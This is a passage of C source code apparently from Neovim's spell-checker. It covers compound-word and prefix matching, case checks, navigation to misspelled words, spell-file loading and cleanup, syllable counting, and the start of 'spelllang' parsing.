{ continue; } // Don't allow compounding on a side where an affix was added, // unless COMPOUNDPERMITFLAG was used. if (mip->mi_complen > 0 && (flags & WF_NOCOMPBEF)) { continue; } if (!word_ends && (flags & WF_NOCOMPAFT)) { continue; } // Quickly check if compounding is possible with this flag. if (!byte_in_str(mip->mi_complen == 0 ? slang->sl_compstartflags : slang->sl_compallflags, ((unsigned)flags >> 24))) { continue; } // If there is a match with a CHECKCOMPOUNDPATTERN rule // discard the compound word. if (match_checkcompoundpattern(ptr, wlen, &slang->sl_comppat)) { continue; } if (mode == FIND_COMPOUND) { int capflags; // Need to check the caps type of the appended compound // word. if (STRNCMP(ptr, mip->mi_word, mip->mi_compoff) != 0) { // case folding may have changed the length p = mip->mi_word; for (char_u *s = ptr; s < ptr + mip->mi_compoff; MB_PTR_ADV(s)) { MB_PTR_ADV(p); } } else { p = mip->mi_word + mip->mi_compoff; } capflags = captype(p, mip->mi_word + wlen); if (capflags == WF_KEEPCAP || (capflags == WF_ALLCAP && (flags & WF_FIXCAP) != 0)) { continue; } if (capflags != WF_ALLCAP) { // When the character before the word is a word // character we do not accept a Onecap word. We do // accept a no-caps word, even when the dictionary // word specifies ONECAP. MB_PTR_BACK(mip->mi_word, p); if (spell_iswordp_nmw(p, mip->mi_win) ? capflags == WF_ONECAP : (flags & WF_ONECAP) != 0 && capflags != WF_ONECAP) { continue; } } } // If the word ends the sequence of compound flags of the // words must match with one of the COMPOUNDRULE items and // the number of syllables must not be too large. mip->mi_compflags[mip->mi_complen] = ((unsigned)flags >> 24); mip->mi_compflags[mip->mi_complen + 1] = NUL; if (word_ends) { char_u fword[MAXWLEN] = { 0 }; if (slang->sl_compsylmax < MAXWLEN) { // "fword" is only needed for checking syllables. if (ptr == mip->mi_word) { (void)spell_casefold(mip->mi_win, ptr, wlen, fword, MAXWLEN); } else { STRLCPY(fword, ptr, endlen[endidxcnt] + 1); } } if (!can_compound(slang, fword, mip->mi_compflags)) { continue; } } else if (slang->sl_comprules != NULL && !match_compoundrule(slang, mip->mi_compflags)) { // The compound flags collected so far do not match any // COMPOUNDRULE, discard the compounded word. continue; } } // Check NEEDCOMPOUND: can't use word without compounding. else if (flags & WF_NEEDCOMP) { continue; } int nobreak_result = SP_OK; if (!word_ends) { int save_result = mip->mi_result; char_u *save_end = mip->mi_end; langp_T *save_lp = mip->mi_lp; // Check that a valid word follows. If there is one and we // are compounding, it will set "mi_result", thus we are // always finished here. For NOBREAK we only check that a // valid word follows. // Recursive! if (slang->sl_nobreak) { mip->mi_result = SP_BAD; } // Find following word in case-folded tree. mip->mi_compoff = endlen[endidxcnt]; if (mode == FIND_KEEPWORD) { // Compute byte length in case-folded word from "wlen": // byte length in keep-case word. Length may change when // folding case. This can be slow, take a shortcut when // the case-folded word is equal to the keep-case word. p = mip->mi_fword; if (STRNCMP(ptr, p, wlen) != 0) { for (char_u *s = ptr; s < ptr + wlen; MB_PTR_ADV(s)) { MB_PTR_ADV(p); } mip->mi_compoff = (int)(p - mip->mi_fword); } } #if 0 c = mip->mi_compoff; #endif ++mip->mi_complen; if (flags & WF_COMPROOT) { ++mip->mi_compextra; } // For NOBREAK we need to try all NOBREAK languages, at least // to find the ".add" file(s). for (int lpi = 0; lpi < mip->mi_win->w_s->b_langp.ga_len; ++lpi) { if (slang->sl_nobreak) { mip->mi_lp = LANGP_ENTRY(mip->mi_win->w_s->b_langp, lpi); if (mip->mi_lp->lp_slang->sl_fidxs == NULL || !mip->mi_lp->lp_slang->sl_nobreak) { continue; } } find_word(mip, FIND_COMPOUND); // When NOBREAK any word that matches is OK. Otherwise we // need to find the longest match, thus try with keep-case // and prefix too. if (!slang->sl_nobreak || mip->mi_result == SP_BAD) { // Find following word in keep-case tree. mip->mi_compoff = wlen; find_word(mip, FIND_KEEPCOMPOUND); #if 0 // Disabled, a prefix must not appear halfway through a compound // word, unless the COMPOUNDPERMITFLAG is used, in which case it // can't be a postponed prefix. if (!slang->sl_nobreak || mip->mi_result == SP_BAD) { // Check for following word with prefix. mip->mi_compoff = c; find_prefix(mip, FIND_COMPOUND); } #endif } if (!slang->sl_nobreak) { break; } } --mip->mi_complen; if (flags & WF_COMPROOT) { --mip->mi_compextra; } mip->mi_lp = save_lp; if (slang->sl_nobreak) { nobreak_result = mip->mi_result; mip->mi_result = save_result; mip->mi_end = save_end; } else { if (mip->mi_result == SP_OK) { break; } continue; } } int res = SP_BAD; if (flags & WF_BANNED) { res = SP_BANNED; } else if (flags & WF_REGION) { // Check region. if ((mip->mi_lp->lp_region & (flags >> 16)) != 0) { res = SP_OK; } else { res = SP_LOCAL; } } else if (flags & WF_RARE) { res = SP_RARE; } else { res = SP_OK; } // Always use the longest match and the best result. For NOBREAK // we separately keep the longest match without a following good // word as a fall-back. if (nobreak_result == SP_BAD) { if (mip->mi_result2 > res) { mip->mi_result2 = res; mip->mi_end2 = mip->mi_word + wlen; } else if (mip->mi_result2 == res && mip->mi_end2 < mip->mi_word + wlen) { mip->mi_end2 = mip->mi_word + wlen; } } else if (mip->mi_result > res) { mip->mi_result = res; mip->mi_end = mip->mi_word + wlen; } else if (mip->mi_result == res && mip->mi_end < mip->mi_word + wlen) { mip->mi_end = mip->mi_word + wlen; } if (mip->mi_result == SP_OK) { break; } } if (mip->mi_result == SP_OK) { break; } } } /// Returns true if there is a match between the word ptr[wlen] and /// CHECKCOMPOUNDPATTERN rules, assuming that we will concatenate with another /// word. /// A match means that the first part of CHECKCOMPOUNDPATTERN matches at the /// end of ptr[wlen] and the second part matches after it. /// /// @param gap &sl_comppat static bool match_checkcompoundpattern(char_u *ptr, int wlen, garray_T *gap) { char_u *p; int len; for (int i = 0; i + 1 < gap->ga_len; i += 2) { p = ((char_u **)gap->ga_data)[i + 1]; if (STRNCMP(ptr + wlen, p, STRLEN(p)) == 0) { // Second part matches at start of following compound word, now // check if first part matches at end of previous word. p = ((char_u **)gap->ga_data)[i]; len = (int)STRLEN(p); if (len <= wlen && STRNCMP(ptr + wlen - len, p, len) == 0) { return true; } } } return false; } // Returns true if "flags" is a valid sequence of compound flags and "word" // does not have too many syllables. static bool can_compound(slang_T *slang, const char_u *word, const char_u *flags) FUNC_ATTR_NONNULL_ALL { char_u uflags[MAXWLEN * 2] = { 0 }; if (slang->sl_compprog == NULL) { return false; } // Need to convert the single byte flags to utf8 characters. char_u *p = uflags; for (int i = 0; flags[i] != NUL; i++) { p += utf_char2bytes(flags[i], p); } *p = NUL; p = uflags; if (!vim_regexec_prog(&slang->sl_compprog, false, p, 0)) { return false; } // Count the number of syllables. This may be slow, do it last. If there // are too many syllables AND the number of compound words is above // COMPOUNDWORDMAX then compounding is not allowed. if (slang->sl_compsylmax < MAXWLEN && count_syllables(slang, word) > slang->sl_compsylmax) { return (int)STRLEN(flags) < slang->sl_compmax; } return true; } // Returns true when the sequence of flags in "compflags" plus "flag" can // possibly form a valid compounded word. This also checks the COMPOUNDRULE // lines if they don't contain wildcards. static bool can_be_compound(trystate_T *sp, slang_T *slang, char_u *compflags, int flag) { // If the flag doesn't appear in sl_compstartflags or sl_compallflags // then it can't possibly compound. if (!byte_in_str(sp->ts_complen == sp->ts_compsplit ? slang->sl_compstartflags : slang->sl_compallflags, flag)) { return false; } // If there are no wildcards, we can check if the flags collected so far // possibly can form a match with COMPOUNDRULE patterns. This only // makes sense when we have two or more words. if (slang->sl_comprules != NULL && sp->ts_complen > sp->ts_compsplit) { compflags[sp->ts_complen] = flag; compflags[sp->ts_complen + 1] = NUL; bool v = match_compoundrule(slang, compflags + sp->ts_compsplit); compflags[sp->ts_complen] = NUL; return v; } return true; } // Returns true if the compound flags in compflags[] match the start of any // compound rule. This is used to stop trying a compound if the flags // collected so far can't possibly match any compound rule. // Caller must check that slang->sl_comprules is not NULL. static bool match_compoundrule(slang_T *slang, char_u *compflags) { char_u *p; int i; int c; // loop over all the COMPOUNDRULE entries for (p = slang->sl_comprules; *p != NUL; ++p) { // loop over the flags in the compound word we have made, match // them against the current rule entry for (i = 0;; ++i) { c = compflags[i]; if (c == NUL) { // found a rule that matches for the flags we have so far return true; } if (*p == '/' || *p == NUL) { break; // end of rule, it's too short } if (*p == '[') { bool match = false; // compare against all the flags in [] ++p; while (*p != ']' && *p != NUL) { if (*p++ == c) { match = true; } } if (!match) { break; // none matches } } else if (*p != c) { break; // flag of word doesn't match flag in pattern } ++p; } // Skip to the next "/", where the next pattern starts. p = vim_strchr(p, '/'); if (p == NULL) { break; } } // Checked all the rules and none of them match the flags, so there // can't possibly be a compound starting with these flags. return false; } /// Return non-zero if the prefix indicated by "arridx" matches with the prefix /// ID in "flags" for the word "word". /// The WF_RAREPFX flag is included in the return value for a rare prefix. /// /// @param totprefcnt nr of prefix IDs /// @param arridx idx in sl_pidxs[] /// @param cond_req only use prefixes with a condition static int valid_word_prefix(int totprefcnt, int arridx, int flags, char_u *word, slang_T *slang, bool cond_req) { int prefcnt; int pidx; int prefid; prefid = (unsigned)flags >> 24; for (prefcnt = totprefcnt - 1; prefcnt >= 0; --prefcnt) { pidx = slang->sl_pidxs[arridx + prefcnt]; // Check the prefix ID. if (prefid != (pidx & 0xff)) { continue; } // Check if the prefix doesn't combine and the word already has a // suffix. if ((flags & WF_HAS_AFF) && (pidx & WF_PFX_NC)) { continue; } // Check the condition, if there is one. The condition index is // stored in the two bytes above the prefix ID byte. regprog_T **rp = &slang->sl_prefprog[((unsigned)pidx >> 8) & 0xffff]; if (*rp != NULL) { if (!vim_regexec_prog(rp, false, word, 0)) { continue; } } else if (cond_req) { continue; } // It's a match! Return the WF_ flags. return pidx; } return 0; } // Check if the word at "mip->mi_word" has a matching prefix. // If it does, then check the following word. // // If "mode" is "FIND_COMPOUND" then do the same after another word, find a // prefix in a compound word. // // For a match mip->mi_result is updated. static void find_prefix(matchinf_T *mip, int mode) { idx_T arridx = 0; int len; int wlen = 0; int flen; int c; char_u *ptr; idx_T lo, hi, m; slang_T *slang = mip->mi_lp->lp_slang; char_u *byts; idx_T *idxs; byts = slang->sl_pbyts; if (byts == NULL) { return; // array is empty } // We use the case-folded word here, since prefixes are always // case-folded. ptr = mip->mi_fword; flen = mip->mi_fwordlen; // available case-folded bytes if (mode == FIND_COMPOUND) { // Skip over the previously found word(s). ptr += mip->mi_compoff; flen -= mip->mi_compoff; } idxs = slang->sl_pidxs; // Repeat advancing in the tree until: // - there is a byte that doesn't match, // - we reach the end of the tree, // - or we reach the end of the line. for (;;) { if (flen == 0 && *mip->mi_fend != NUL) { flen = fold_more(mip); } len = byts[arridx++]; // If the first possible byte is a zero the prefix could end here. // Check if the following word matches and supports the prefix. if (byts[arridx] == 0) { // There can be several prefixes with different conditions. We // try them all, since we don't know which one will give the // longest match. The word is the same each time, pass the list // of possible prefixes to find_word(). mip->mi_prefarridx = arridx; mip->mi_prefcnt = len; while (len > 0 && byts[arridx] == 0) { ++arridx; --len; } mip->mi_prefcnt -= len; // Find the word that comes after the prefix. mip->mi_prefixlen = wlen; if (mode == FIND_COMPOUND) { // Skip over the previously found word(s). mip->mi_prefixlen += mip->mi_compoff; } // Case-folded length may differ from original length. mip->mi_cprefixlen = nofold_len(mip->mi_fword, mip->mi_prefixlen, mip->mi_word); find_word(mip, FIND_PREFIX); if (len == 0) { break; // no children, word must end here } } // Stop looking at end of the line. if (ptr[wlen] == NUL) { break; } // Perform a binary search in the list of accepted bytes. c = ptr[wlen]; lo = arridx; hi = arridx + len - 1; while (lo < hi) { m = (lo + hi) / 2; if (byts[m] > c) { hi = m - 1; } else if (byts[m] < c) { lo = m + 1; } else { lo = hi = m; break; } } // Stop if there is no matching byte. if (hi < lo || byts[lo] != c) { break; } // Continue at the child (if there is one). arridx = idxs[lo]; ++wlen; --flen; } } // Need to fold at least one more character. Do until next non-word character // for efficiency. Include the non-word character too. // Return the length of the folded chars in bytes. static int fold_more(matchinf_T *mip) { int flen; char_u *p; p = mip->mi_fend; do { MB_PTR_ADV(mip->mi_fend); } while (*mip->mi_fend != NUL && spell_iswordp(mip->mi_fend, mip->mi_win)); // Include the non-word character so that we can check for the word end. if (*mip->mi_fend != NUL) { MB_PTR_ADV(mip->mi_fend); } (void)spell_casefold(mip->mi_win, p, (int)(mip->mi_fend - p), mip->mi_fword + mip->mi_fwordlen, MAXWLEN - mip->mi_fwordlen); flen = (int)STRLEN(mip->mi_fword + mip->mi_fwordlen); mip->mi_fwordlen += flen; return flen; } /// Checks case flags for a word. Returns true, if the word has the requested /// case. /// /// @param wordflags Flags for the checked word. /// @param treeflags Flags for the word in the spell tree. static bool spell_valid_case(int wordflags, int treeflags) { return (wordflags == WF_ALLCAP && (treeflags & WF_FIXCAP) == 0) || ((treeflags & (WF_ALLCAP | WF_KEEPCAP)) == 0 && ((treeflags & WF_ONECAP) == 0 || (wordflags & WF_ONECAP) != 0)); } // Returns true if spell checking is not enabled. static bool no_spell_checking(win_T *wp) { if (!wp->w_p_spell || *wp->w_s->b_p_spl == NUL || GA_EMPTY(&wp->w_s->b_langp)) { emsg(_(e_no_spell)); return true; } return false; } /// Moves to the next spell error. /// "curline" is false for "[s", "]s", "[S" and "]S". /// "curline" is true to find word under/after cursor in the same line. /// For Insert mode completion "dir" is BACKWARD and "curline" is true: move /// to after badly spelled word before the cursor. /// /// @param dir FORWARD or BACKWARD /// @param allwords true for "[s"/"]s", false for "[S"/"]S" /// @param attrp return: attributes of bad word or NULL (only when "dir" is FORWARD) /// /// @return 0 if not found, length of the badly spelled word otherwise. size_t spell_move_to(win_T *wp, int dir, bool allwords, bool curline, hlf_T *attrp) { linenr_T lnum; pos_T found_pos; size_t found_len = 0; char_u *line; char_u *p; char_u *endp; hlf_T attr = HLF_COUNT; size_t len; int has_syntax = syntax_present(wp); int col; bool can_spell; char_u *buf = NULL; size_t buflen = 0; int skip = 0; int capcol = -1; bool found_one = false; bool wrapped = false; if (no_spell_checking(wp)) { return 0; } // Start looking for bad word at the start of the line, because we can't // start halfway through a word, we don't know where it starts or ends. // // When searching backwards, we continue in the line to find the last // bad word (in the cursor line: before the cursor). // // We concatenate the start of the next line, so that wrapped words work // (e.g. "et<line-break>cetera"). Doesn't work when searching backwards // though... lnum = wp->w_cursor.lnum; clearpos(&found_pos); while (!got_int) { line = ml_get_buf(wp->w_buffer, lnum, false); len = STRLEN(line); if (buflen < len + MAXWLEN + 2) { xfree(buf); buflen = len + MAXWLEN + 2; buf = xmalloc(buflen); } assert(buf && buflen >= len + MAXWLEN + 2); // In first line check first word for Capital. if (lnum == 1) { capcol = 0; } // For checking first word with a capital skip white space. if (capcol == 0) { capcol = (int)getwhitecols(line); } else if (curline && wp == curwin) { // For spellbadword(): check if first word needs a capital. col = (int)getwhitecols(line); if (check_need_cap(lnum, col)) { capcol = col; } // Need to get the line again, may have looked at the previous // one. line = ml_get_buf(wp->w_buffer, lnum, false); } // Copy the line into "buf" and append the start of the next line if // possible. STRCPY(buf, line); if (lnum < wp->w_buffer->b_ml.ml_line_count) { spell_cat_line(buf + STRLEN(buf), ml_get_buf(wp->w_buffer, lnum + 1, false), MAXWLEN); } p = buf + skip; endp = buf + len; while (p < endp) { // When searching backward don't search after the cursor. Unless // we wrapped around the end of the buffer. if (dir == BACKWARD && lnum == wp->w_cursor.lnum && !wrapped && (colnr_T)(p - buf) >= wp->w_cursor.col) { break; } // start of word attr = HLF_COUNT; len = spell_check(wp, p, &attr, &capcol, false); if (attr != HLF_COUNT) { // We found a bad word. Check the attribute. if (allwords || attr == HLF_SPB) { // When searching forward only accept a bad word after // the cursor. if (dir == BACKWARD || lnum != wp->w_cursor.lnum || wrapped || ((colnr_T)(curline ? p - buf + (ptrdiff_t)len : p - buf) > wp->w_cursor.col)) { if (has_syntax) { col = (int)(p - buf); (void)syn_get_id(wp, lnum, (colnr_T)col, FALSE, &can_spell, FALSE); if (!can_spell) { attr = HLF_COUNT; } } else { can_spell = true; } if (can_spell) { found_one = true; found_pos.lnum = lnum; found_pos.col = (int)(p - buf); found_pos.coladd = 0; if (dir == FORWARD) { // No need to search further. wp->w_cursor = found_pos; xfree(buf); if (attrp != NULL) { *attrp = attr; } return len; } else if (curline) { // Insert mode completion: put cursor after // the bad word. assert(len <= INT_MAX); found_pos.col += (int)len; } found_len = len; } } else { found_one = true; } } } // advance to character after the word p += len; assert(len <= INT_MAX); capcol -= (int)len; } if (dir == BACKWARD && found_pos.lnum != 0) { // Use the last match in the line (before the cursor). wp->w_cursor = found_pos; xfree(buf); return found_len; } if (curline) { break; // only check cursor line } // If we are back at the starting line and searched it again there // is no match, give up. if (lnum == wp->w_cursor.lnum && wrapped) { break; } // Advance to next line. if (dir == BACKWARD) { if (lnum > 1) { lnum--; } else if (!p_ws) { break; // at first line and 'nowrapscan' } else { // Wrap around to the end of the buffer. May search the // starting line again and accept the last match. lnum = wp->w_buffer->b_ml.ml_line_count; wrapped = true; if (!shortmess(SHM_SEARCH)) { give_warning((char_u *)_(top_bot_msg), true); } } capcol = -1; } else { if (lnum < wp->w_buffer->b_ml.ml_line_count) { ++lnum; } else if (!p_ws) { break; // at first line and 'nowrapscan' } else { // Wrap around to the start of the buffer. May search the // starting line again and accept the first match. lnum = 1; wrapped = true; if (!shortmess(SHM_SEARCH)) { give_warning((char_u *)_(bot_top_msg), true); } } // If we are back at the starting line and there is no match then // give up. if (lnum == wp->w_cursor.lnum && !found_one) { break; } // Skip the characters at the start of the next line that were // included in a match crossing line boundaries. if (attr == HLF_COUNT) { skip = (int)(p - endp); } else { skip = 0; } // Capcol skips over the inserted space. --capcol; // But after empty line check first word in next line if (*skipwhite(line) == NUL) { capcol = 0; } } line_breakcheck(); } xfree(buf); return 0; } // For spell checking: concatenate the start of the following line "line" into // "buf", blanking-out special characters. Copy less than "maxlen" bytes. // Keep the blanks at the start of the next line, this is used in win_line() // to skip those bytes if the word was OK. void spell_cat_line(char_u *buf, char_u *line, int maxlen) { char_u *p; int n; p = skipwhite(line); while (vim_strchr((char_u *)"*#/\"\t", *p) != NULL) { p = skipwhite(p + 1); } if (*p != NUL) { // Only worth concatenating if there is something else than spaces to // concatenate. n = (int)(p - line) + 1; if (n < maxlen - 1) { memset(buf, ' ', n); STRLCPY(buf + n, p, maxlen - n); } } } // Load word list(s) for "lang" from Vim spell file(s). // "lang" must be the language without the region: e.g., "en". static void spell_load_lang(char_u *lang) { char_u fname_enc[85]; int r; spelload_T sl; int round; // Copy the language name to pass it to spell_load_cb() as a cookie. // It's truncated when an error is detected. STRCPY(sl.sl_lang, lang); sl.sl_slang = NULL; sl.sl_nobreak = false; // We may retry when no spell file is found for the language, an // autocommand may load it then. for (round = 1; round <= 2; ++round) { // Find the first spell file for "lang" in 'runtimepath' and load it. vim_snprintf((char *)fname_enc, sizeof(fname_enc) - 5, "spell/%s.%s.spl", lang, spell_enc()); r = do_in_runtimepath(fname_enc, 0, spell_load_cb, &sl); if (r == FAIL && *sl.sl_lang != NUL) { // Try loading the ASCII version. vim_snprintf((char *)fname_enc, sizeof(fname_enc) - 5, "spell/%s.ascii.spl", lang); r = do_in_runtimepath(fname_enc, 0, spell_load_cb, &sl); if (r == FAIL && *sl.sl_lang != NUL && round == 1 && apply_autocmds(EVENT_SPELLFILEMISSING, lang, curbuf->b_fname, FALSE, curbuf)) { continue; } break; } break; } if (r == FAIL) { if (starting) { // Prompt the user at VimEnter if spell files are missing. #3027 // Plugins aren't loaded yet, so spellfile.vim cannot handle this case. char autocmd_buf[512] = { 0 }; snprintf(autocmd_buf, sizeof(autocmd_buf), "autocmd VimEnter * call spellfile#LoadFile('%s')|set spell", lang); do_cmdline_cmd(autocmd_buf); } else { smsg(_("Warning: Cannot find word list \"%s.%s.spl\" or \"%s.ascii.spl\""), lang, spell_enc(), lang); } } else if (sl.sl_slang != NULL) { // At least one file was loaded, now load ALL the additions. STRCPY(fname_enc + STRLEN(fname_enc) - 3, "add.spl"); do_in_runtimepath(fname_enc, DIP_ALL, spell_load_cb, &sl); } } // Return the encoding used for spell checking: Use 'encoding', except that we // use "latin1" for "latin9". And limit to 60 characters (just in case). char_u *spell_enc(void) { if (STRLEN(p_enc) < 60 && STRCMP(p_enc, "iso-8859-15") != 0) { return p_enc; } return (char_u *)"latin1"; } // Get the name of the .spl file for the internal wordlist into // "fname[MAXPATHL]". static void int_wordlist_spl(char_u *fname) { vim_snprintf((char *)fname, MAXPATHL, SPL_FNAME_TMPL, int_wordlist, spell_enc()); } // Allocate a new slang_T for language "lang". "lang" can be NULL. // Caller must fill "sl_next". slang_T *slang_alloc(char_u *lang) FUNC_ATTR_NONNULL_RET { slang_T *lp = xcalloc(1, sizeof(slang_T)); if (lang != NULL) { lp->sl_name = vim_strsave(lang); } ga_init(&lp->sl_rep, sizeof(fromto_T), 10); ga_init(&lp->sl_repsal, sizeof(fromto_T), 10); lp->sl_compmax = MAXWLEN; lp->sl_compsylmax = MAXWLEN; hash_init(&lp->sl_wordcount); return lp; } // Free the contents of an slang_T and the structure itself. void slang_free(slang_T *lp) { xfree(lp->sl_name); xfree(lp->sl_fname); slang_clear(lp); xfree(lp); } /// Frees a salitem_T static void free_salitem(salitem_T *smp) { xfree(smp->sm_lead); // Don't free sm_oneof and sm_rules, they point into sm_lead. xfree(smp->sm_to); xfree(smp->sm_lead_w); xfree(smp->sm_oneof_w); xfree(smp->sm_to_w); } /// Frees a fromto_T static void free_fromto(fromto_T *ftp) { xfree(ftp->ft_from); xfree(ftp->ft_to); } // Clear an slang_T so that the file can be reloaded. void slang_clear(slang_T *lp) { garray_T *gap; XFREE_CLEAR(lp->sl_fbyts); XFREE_CLEAR(lp->sl_kbyts); XFREE_CLEAR(lp->sl_pbyts); XFREE_CLEAR(lp->sl_fidxs); XFREE_CLEAR(lp->sl_kidxs); XFREE_CLEAR(lp->sl_pidxs); GA_DEEP_CLEAR(&lp->sl_rep, fromto_T, free_fromto); GA_DEEP_CLEAR(&lp->sl_repsal, fromto_T, free_fromto); gap = &lp->sl_sal; if (lp->sl_sofo) { // "ga_len" is set to 1 without adding an item for latin1 GA_DEEP_CLEAR_PTR(gap); } else { // SAL items: free salitem_T items GA_DEEP_CLEAR(gap, salitem_T, free_salitem); } for (int i = 0; i < lp->sl_prefixcnt; ++i) { vim_regfree(lp->sl_prefprog[i]); } lp->sl_prefixcnt = 0; XFREE_CLEAR(lp->sl_prefprog); XFREE_CLEAR(lp->sl_info); XFREE_CLEAR(lp->sl_midword); vim_regfree(lp->sl_compprog); lp->sl_compprog = NULL; XFREE_CLEAR(lp->sl_comprules); XFREE_CLEAR(lp->sl_compstartflags); XFREE_CLEAR(lp->sl_compallflags); XFREE_CLEAR(lp->sl_syllable); ga_clear(&lp->sl_syl_items); ga_clear_strings(&lp->sl_comppat); hash_clear_all(&lp->sl_wordcount, WC_KEY_OFF); hash_init(&lp->sl_wordcount); hash_clear_all(&lp->sl_map_hash, 0); // Clear info from .sug file. slang_clear_sug(lp); lp->sl_compmax = MAXWLEN; lp->sl_compminlen = 0; lp->sl_compsylmax = MAXWLEN; lp->sl_regions[0] = NUL; } // Clear the info from the .sug file in "lp". void slang_clear_sug(slang_T *lp) { XFREE_CLEAR(lp->sl_sbyts); XFREE_CLEAR(lp->sl_sidxs); close_spellbuf(lp->sl_sugbuf); lp->sl_sugbuf = NULL; lp->sl_sugloaded = false; lp->sl_sugtime = 0; } // Load one spell file and store the info into a slang_T. // Invoked through do_in_runtimepath(). static void spell_load_cb(char_u *fname, void *cookie) { spelload_T *slp = (spelload_T *)cookie; slang_T *slang; slang = spell_load_file(fname, slp->sl_lang, NULL, false); if (slang != NULL) { // When a previously loaded file has NOBREAK also use it for the // ".add" files. if (slp->sl_nobreak && slang->sl_add) { slang->sl_nobreak = true; } else if (slang->sl_nobreak) { slp->sl_nobreak = true; } slp->sl_slang = slang; } } /// Add a word to the hashtable of common words. /// If it's already there then the counter is increased. /// /// @param[in] lp /// @param[in] word added to common words hashtable /// @param[in] len length of word or -1 for NUL terminated /// @param[in] count 1 to count once, 10 to init void count_common_word(slang_T *lp, char_u *word, int len, int count) { hash_T hash; hashitem_T *hi; wordcount_T *wc; char_u buf[MAXWLEN]; char_u *p; if (len == -1) { p = word; } else if (len >= MAXWLEN) { return; } else { STRLCPY(buf, word, len + 1); p = buf; } hash = hash_hash(p); const size_t p_len = STRLEN(p); hi = hash_lookup(&lp->sl_wordcount, (const char *)p, p_len, hash); if (HASHITEM_EMPTY(hi)) { wc = xmalloc(sizeof(wordcount_T) + p_len); memcpy(wc->wc_word, p, p_len + 1); wc->wc_count = count; hash_add_item(&lp->sl_wordcount, hi, wc->wc_word, hash); } else { wc = HI2WC(hi); if ((wc->wc_count += count) < (unsigned)count) { // check for overflow wc->wc_count = MAXWORDCOUNT; } } } /// Adjust the score of common words. /// /// @param split word was split, less bonus static int score_wordcount_adj(slang_T *slang, int score, char_u *word, bool split) { hashitem_T *hi; wordcount_T *wc; int bonus; int newscore; hi = hash_find(&slang->sl_wordcount, word); if (!HASHITEM_EMPTY(hi)) { wc = HI2WC(hi); if (wc->wc_count < SCORE_THRES2) { bonus = SCORE_COMMON1; } else if (wc->wc_count < SCORE_THRES3) { bonus = SCORE_COMMON2; } else { bonus = SCORE_COMMON3; } if (split) { newscore = score - bonus / 2; } else { newscore = score - bonus; } if (newscore < 0) { return 0; } return newscore; } return score; } // Returns true if byte "n" appears in "str". // Like strchr() but independent of locale. bool byte_in_str(char_u *str, int n) { char_u *p; for (p = str; *p != NUL; ++p) { if (*p == n) { return true; } } return false; } // Truncate "slang->sl_syllable" at the first slash and put the following items // in "slang->sl_syl_items". int init_syl_tab(slang_T *slang) { char_u *p; char_u *s; int l; ga_init(&slang->sl_syl_items, sizeof(syl_item_T), 4); p = vim_strchr(slang->sl_syllable, '/'); while (p != NULL) { *p++ = NUL; if (*p == NUL) { // trailing slash break; } s = p; p = vim_strchr(p, '/'); if (p == NULL) { l = (int)STRLEN(s); } else { l = (int)(p - s); } if (l >= SY_MAXLEN) { return SP_FORMERROR; } syl_item_T *syl = GA_APPEND_VIA_PTR(syl_item_T, &slang->sl_syl_items); STRLCPY(syl->sy_chars, s, l + 1); syl->sy_len = l; } return OK; } // Count the number of syllables in "word". // When "word" contains spaces the syllables after the last space are counted. // Returns zero if syllables are not defines. static int count_syllables(slang_T *slang, const char_u *word) FUNC_ATTR_NONNULL_ALL { int cnt = 0; bool skip = false; int len; syl_item_T *syl; int c; if (slang->sl_syllable == NULL) { return 0; } for (const char_u *p = word; *p != NUL; p += len) { // When running into a space reset counter. if (*p == ' ') { len = 1; cnt = 0; continue; } // Find longest match of syllable items. len = 0; for (int i = 0; i < slang->sl_syl_items.ga_len; ++i) { syl = ((syl_item_T *)slang->sl_syl_items.ga_data) + i; if (syl->sy_len > len && STRNCMP(p, syl->sy_chars, syl->sy_len) == 0) { len = syl->sy_len; } } if (len != 0) { // found a match, count syllable ++cnt; skip = false; } else { // No recognized syllable item, at least a syllable char then? c = utf_ptr2char(p); len = utfc_ptr2len(p); if (vim_strchr(slang->sl_syllable, c) == NULL) { skip = false; // No, search for next syllable } else if (!skip) { ++cnt; // Yes, count it skip = true; // don't count following syllable chars } } } return cnt; } // Parse 'spelllang' and set w_s->b_langp accordingly. // Returns NULL if it's OK, an error message otherwise. char *did_set_spelllang(win_T *wp) { garray_T ga; char_u *splp; char_u *region; char_u region_cp[3]; bool filename; int region_mask; slang_T *slang; int c; char_u lang[MAXWLEN + 1]; char_u spf_name[MAXPATHL]; int len; char_u *p; int round; char_u *spf; char_u *use_region = NULL; bool dont_use_region = false; bool nobreak = false; langp_T *lp, *lp2; static bool recursive = false; char *ret_msg = NULL; char_u *spl_copy; bufref_T bufref; set_bufref(&bufref, wp->w_buffer); // We don't want to do this recursively. May happen when a language is // not available and the SpellFileMissing autocommand opens a new buffer // in which 'spell' is set. if (recursive) { return NULL; } recursive = true; ga_init(&ga, sizeof(langp_T), 2); clear_midword(wp); // Make a copy of 'spelllang', the SpellFileMissing autocommands may change // it under our fingers. spl_copy = vim_strsave(wp->w_s->b_p_spl); wp->w_s->b_cjk = 0; // Loop over comma separated language names. for (splp = spl_copy; *splp != NUL;) { // Get one language name. copy_option_part(&splp, lang, MAXWLEN, ","); region = NULL; len = (int)STRLEN(lang); if (!valid_spelllang(lang)) { continue; } if (STRCMP(lang, "cjk") == 0) { wp->w_s->b_cjk = 1; continue; } // If the name ends in ".spl" use it as the name of the spell file. // If there is a region name let "region" point to it and remove it // from the name. if (len > 4 && fnamecmp(lang + len - 4, ".spl") == 0) { filename = true; // Locate a region and remove it from the file name. p = vim_strchr(path_tail(lang), '_'); if (p != NULL && ASCII_ISALPHA(p[1]) && ASCII_ISALPHA(p[2]) && !ASCII_ISALPHA(p[3])) { STRLCPY(region_cp, p + 1, 3); memmove(p, p + 3, len - (p - lang) - 2); region = region_cp; } else { dont_use_region = true; } // Check if we loaded this language before. for (slang = first_lang; slang != NULL; slang = slang->sl_next) { if (path_full_compare(lang, slang->sl_fname, false, true) == kEqualFiles) { break; } } } else { filename = false; if (len > 3 && lang[len - 3] == '_') { region = lang + len - 2; lang[len - 3] = NUL; } else { dont_use_region = true; } // Check if we loaded this language before. for (slang = first_lang; slang != NULL; slang = slang->sl_next) { if (STRICMP(lang, slang->sl_name) == 0) { break; } } } if (region != NULL) { // If the region differs from what was used before then don't // use it for 'spellfile'. if (use_region != NULL && STRCMP(region, use_region) != 0) { dont_use_region = true; } use_region = region; } // If not found try loading the language now. if (slang == NULL) { if (filename) { (void)spell_load_file(lang, lang, NULL, false); } else { spell_load_lang(lang); // SpellFileMissing autocommands may do anything, including // destroying the buffer we are using... if (!bufref_valid(&bufref)) { ret_msg = N_("E797: SpellFileMissing autocommand deleted buffer"); goto theend; } } } // Loop over the languages, there can be several files for "lang". for 